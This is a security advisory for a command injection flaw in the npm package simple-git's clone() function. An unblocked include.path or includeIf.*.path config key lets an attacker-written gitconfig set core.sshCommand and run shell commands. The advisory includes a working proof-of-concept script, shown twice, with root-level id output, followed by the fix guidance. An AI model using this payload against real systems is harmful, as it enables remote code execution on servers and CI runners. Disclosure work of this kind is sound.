GHSA-G4WM-2VF7-VFGR
Vulnerability from github – Published: 2026-10-05 23:48 – Updated: 2026-10-05 23:48Summary
An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.
PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.
This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.
Details
Two sinks share the same root cause: the denylist is incomplete.
Sink A: published 3.36.0 has no include.path entry
packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.
Sink B: pending PR #1167 regex misses includeIf
PR #1167 adds:
const preventUnsafeConfig = [
// ...
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
// ...
];
preventConfigBuilder constructs a non-anchored regex from the string:
function preventConfigBuilder(config, category, message) {
const regex = typeof config === 'string'
? new RegExp(`\\s*${config.toLowerCase()}`)
: config;
return function preventCommand(key) {
if (regex.test(key)) { /* throw */ }
};
}
For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.
/\s*include.path/.test('include.path') // true
/\s*include.path/.test('includeif.gitdir:.path') // false
/\s*include.path/.test('includeif.onbranch:main.path') // false
The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).
Exploitation chain
- Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared
/tmpin multi-tenant runners, log poisoning that lands[core]headers in a log path, predictable artifact paths, container volume mounts the attacker controls.
[core]
sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
-
Attacker triggers
git.clone()with craftedcustomArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model ofblockUnsafeOperationsPlugin. -
cloneTaskassembles['clone', '-c', '<payload>', pathspec(url), pathspec(dst)]. -
blockUnsafeOperationsPluginrunsparseArgvandcollectWriteFlags, yielding the write.detectVulnerableConfigWritesiterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not matchincludeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation. -
suffixPathsPluginmoves pathspec items to the suffix. Final argv:git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst. -
git clonehas its own-c/--configoption (-c <key>=<value>, --config <key>=<value>pergit clone --help), so a-cimmediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an emptygitdir:pattern that matches the current gitdir), reads/tmp/attacker.cfg, registerscore.sshCommand. -
Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.
git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.
Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist
packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.
PoC
Reproduction from a clean install:
mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install simple-git@3.36.0
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');
fs.writeFileSync('/tmp/sg-attacker.cfg',
`[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);
const git = simpleGit({ baseDir: '/tmp' });
(async () => {
// Sink A: plain include.path works on published 3.36.0 (no denylist entry).
// Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
const payload = 'include.path=/tmp/sg-attacker.cfg';
try {
await git.clone(
'ssh://nonexistent.example.com/repo.git',
'/tmp/sg-rce-dst',
['-c', payload]
);
} catch (_) { /* clone fails after sshCommand has already run */ }
await new Promise(r => setTimeout(r, 500));
console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js
Output on simple-git 3.36.0:
uid=0(root) gid=0(root) groups=0(root)
Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.
Impact
Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:
- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers
- PaaS and hosting platforms that accept customer-tunable git options
- Code analyzers and security scanners that clone user-supplied repos
- Bot frameworks (Probot, GitOps controllers) that wrap simple-git
- AI agent frameworks that auto-clone repositories for analysis
- VS Code extensions, Electron tools, and dev tooling that pass options through
The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared /tmp, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical. The form value uses the conservative AC:H = 8.1 baseline that accounts for the separate-request case.
Distinction from prior advisories and pending fix
Reviewed the published GHSA list at steveukx/git-js/security/advisories. Two advisories are published:
- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor
- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive
protocol.allowform
Neither mentions include, includeIf, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference include.path. It addresses the plain form but its regex misses the conditional includeIf.<cond>.path spelling.
The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.
Suggested fix
In packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts, add the plain include.path entry and ensure conditional forms are covered:
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),
Alternatively pre-process the key in parseAssignment to strip the if.<condition>: decoration before testing against include.path, since includeIf is semantically equivalent to include for security purposes.
Stronger, longer-term fix: invert the model. Reject any -c, --config, --config-env in customArgs unconditionally and require callers to use the typed config: option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.
Also extend parseEnv to drop HOME, XDG_CONFIG_HOME, and any env key that affects config-file resolution.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.36.0"
},
"package": {
"ecosystem": "npm",
"name": "simple-git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102826"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:48:05Z",
"nvd_published_at": "2026-09-29T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAn OS command injection vulnerability in `git.clone()` allows any application that flows attacker-influenced data into `customArgs` to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any `include.path` entry in the `blockUnsafeOperationsPlugin` denylist. Passing `-c include.path=\u003cfile\u003e` via customArgs loads any local file as a gitconfig. The loaded file can set `core.sshCommand` (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker\u0027s command.\n\nPR #1167 (merged to main 2026-05-10, not yet released to npm) adds `preventConfigBuilder(\u0027include.path\u0027, \u0027allowUnsafeInclude\u0027)` to the denylist. The generated regex `/\\s*include.path/` closes the plain spelling but does not match the conditional form `includeIf.\u003ccond\u003e.path`. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.\n\nThis sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). `include` and `includeIf` are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.\n\n## Details\n\nTwo sinks share the same root cause: the denylist is incomplete.\n\n### Sink A: published 3.36.0 has no `include.path` entry\n\n`packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts` in the v3.36.0 tag contains no entry for `include.path` or `includeIf.*.path`. The argv parser recognises `-c include.path=\u003cfile\u003e` and `-c includeIf.\u003ccond\u003e.path=\u003cfile\u003e` as config writes, but `detectVulnerableConfigWrites` iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.\n\n### Sink B: pending PR #1167 regex misses `includeIf`\n\nPR #1167 adds:\n\n```ts\nconst preventUnsafeConfig = [\n // ...\n preventConfigBuilder(\u0027include.path\u0027, \u0027allowUnsafeInclude\u0027),\n // ...\n];\n```\n\n`preventConfigBuilder` constructs a non-anchored regex from the string:\n\n```ts\nfunction preventConfigBuilder(config, category, message) {\n const regex = typeof config === \u0027string\u0027\n ? new RegExp(`\\\\s*${config.toLowerCase()}`)\n : config;\n return function preventCommand(key) {\n if (regex.test(key)) { /* throw */ }\n };\n}\n```\n\nFor `\u0027include.path\u0027`, the generated regex is `/\\s*include.path/`. The `.` between `include` and `path` is a regex wildcard. The engine matches `include` plus exactly one arbitrary character plus `path`. Conditional include keys have the form `includeIf.\u003ccondition\u003e.path` (`includeIf.gitdir:.path`, `includeIf.onbranch:main.path`, `includeIf.hasconfig:r.u:**.path`, etc.). The substring between `include` and `path` is `if.\u003ccondition\u003e:`, always longer than one character. The 11-character match window cannot align and the test returns false.\n\n```js\n/\\s*include.path/.test(\u0027include.path\u0027) // true\n/\\s*include.path/.test(\u0027includeif.gitdir:.path\u0027) // false\n/\\s*include.path/.test(\u0027includeif.onbranch:main.path\u0027) // false\n```\n\nThe argv parser at `packages/argv-parser/src/argv/analyse-config.ts` correctly recognises both `include.path=...` and `includeIf.gitdir:.path=...` as config writes; both yield a `ConfigWrite` with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).\n\n### Exploitation chain\n\n1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared `/tmp` in multi-tenant runners, log poisoning that lands `[core]` headers in a log path, predictable artifact paths, container volume mounts the attacker controls.\n\n ```\n [core]\n sshCommand = \"/bin/sh -c \u0027id \u003e /tmp/pwned; touch /tmp/RCE\u0027\"\n ```\n\n2. Attacker triggers `git.clone()` with crafted `customArgs`. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of `blockUnsafeOperationsPlugin`.\n\n3. `cloneTask` assembles `[\u0027clone\u0027, \u0027-c\u0027, \u0027\u003cpayload\u003e\u0027, pathspec(url), pathspec(dst)]`.\n\n4. `blockUnsafeOperationsPlugin` runs `parseArgv` and `collectWriteFlags`, yielding the write. `detectVulnerableConfigWrites` iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match `includeif.gitdir:.path`. Either way, no vulnerability is yielded and the plugin permits the operation.\n\n5. `suffixPathsPlugin` moves pathspec items to the suffix. Final argv: `git clone -c \u003cpayload\u003e -- ssh://target.example/repo.git /tmp/dst`.\n\n6. `git clone` has its own `-c` / `--config` option (`-c \u003ckey\u003e=\u003cvalue\u003e, --config \u003ckey\u003e=\u003cvalue\u003e` per `git clone --help`), so a `-c` immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty `gitdir:` pattern that matches the current gitdir), reads `/tmp/attacker.cfg`, registers `core.sshCommand`.\n\n7. Git invokes ssh through the configured command. Attacker\u0027s shell payload runs in the simple-git process\u0027s context.\n\n`git clone` is the unique git subcommand that honours `-c` after itself. `git fetch -c k=v`, `git pull -c k=v`, `git push -c k=v` all reject the placement (those subcommands treat `-c` as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled `-c` in `customArgs` always lands after the subcommand. Clone is the entry point for both sinks.\n\n### Secondary chain: `HOME` and `XDG_CONFIG_HOME` not in `parseEnv` denylist\n\n`packages/argv-parser/src/env/parse-env.ts:5-25` lists env keys removed from the spawned-process environment when sourced from `git.env(...)`. `HOME`, `XDG_CONFIG_HOME`, and similar config-resolution keys are absent. Calling `git.env({HOME: \u0027/tmp/fake-home\u0027})` makes git read `/tmp/fake-home/.gitconfig`, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.\n\n## PoC\n\nReproduction from a clean install:\n\n```bash\nmkdir /tmp/sg-poc \u0026\u0026 cd /tmp/sg-poc\nnpm init -y\nnpm install simple-git@3.36.0\ncat \u003e poc.js \u003c\u003c\u0027EOF\u0027\nconst { simpleGit } = require(\u0027simple-git\u0027);\nconst fs = require(\u0027fs\u0027);\n\nfs.writeFileSync(\u0027/tmp/sg-attacker.cfg\u0027,\n `[core]\\nsshCommand = \"/bin/sh -c \u0027id \u003e /tmp/sg-id; touch /tmp/sg-pwned\u0027\"\\n`);\n\nconst git = simpleGit({ baseDir: \u0027/tmp\u0027 });\n\n(async () =\u003e {\n // Sink A: plain include.path works on published 3.36.0 (no denylist entry).\n // Swap to \u0027includeIf.gitdir:.path=...\u0027 to demonstrate Sink B against PR #1167.\n const payload = \u0027include.path=/tmp/sg-attacker.cfg\u0027;\n\n try {\n await git.clone(\n \u0027ssh://nonexistent.example.com/repo.git\u0027,\n \u0027/tmp/sg-rce-dst\u0027,\n [\u0027-c\u0027, payload]\n );\n } catch (_) { /* clone fails after sshCommand has already run */ }\n\n await new Promise(r =\u003e setTimeout(r, 500));\n console.log(fs.readFileSync(\u0027/tmp/sg-id\u0027, \u0027utf8\u0027));\n})();\nEOF\nnode poc.js\n```\n\nOutput on simple-git 3.36.0:\n\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nSwapping the payload to `\u0027includeIf.gitdir:.path=/tmp/sg-attacker.cfg\u0027` reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.\n\n## Impact\n\nPre-authentication remote code execution in any server that flows attacker-influenced data into `customArgs` of `clone()` or `mirror()`. simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:\n\n- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers\n- PaaS and hosting platforms that accept customer-tunable git options\n- Code analyzers and security scanners that clone user-supplied repos\n- Bot frameworks (Probot, GitOps controllers) that wrap simple-git\n- AI agent frameworks that auto-clone repositories for analysis\n- VS Code extensions, Electron tools, and dev tooling that pass options through\n\nThe chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared `/tmp`, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical`. The form value uses the conservative `AC:H = 8.1` baseline that accounts for the separate-request case.\n\n## Distinction from prior advisories and pending fix\n\nReviewed the published GHSA list at `steveukx/git-js/security/advisories`. Two advisories are published:\n\n- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor\n- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive `protocol.allow` form\n\nNeither mentions `include`, `includeIf`, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference `include.path`. It addresses the plain form but its regex misses the conditional `includeIf.\u003ccond\u003e.path` spelling.\n\nThe published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.\n\n## Suggested fix\n\nIn `packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts`, add the plain `include.path` entry and ensure conditional forms are covered:\n\n```ts\npreventConfigBuilder(\u0027include.path\u0027, \u0027allowUnsafeInclude\u0027),\npreventConfigBuilder(/^\\s*includeif[^.]*(\\..+)*\\.path/i, \u0027allowUnsafeInclude\u0027, \u0027include.path\u0027),\n```\n\nAlternatively pre-process the key in `parseAssignment` to strip the `if.\u003ccondition\u003e:` decoration before testing against `include.path`, since `includeIf` is semantically equivalent to `include` for security purposes.\n\nStronger, longer-term fix: invert the model. Reject any `-c`, `--config`, `--config-env` in `customArgs` unconditionally and require callers to use the typed `config:` option (already prefix-checked through the same plugin). Git\u0027s config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.\n\nAlso extend `parseEnv` to drop `HOME`, `XDG_CONFIG_HOME`, and any env key that affects config-file resolution.",
"id": "GHSA-g4wm-2vf7-vfgr",
"modified": "2026-10-05T23:48:05Z",
"published": "2026-10-05T23:48:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-g4wm-2vf7-vfgr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102826"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/pull/1193"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/commit/98864c678444d9336357c844efa4fd5a7984c0d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/steveukx/git-js"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/releases/tag/simple-git@4.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "simple-git allows command execution through unblocked Git configuration includes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.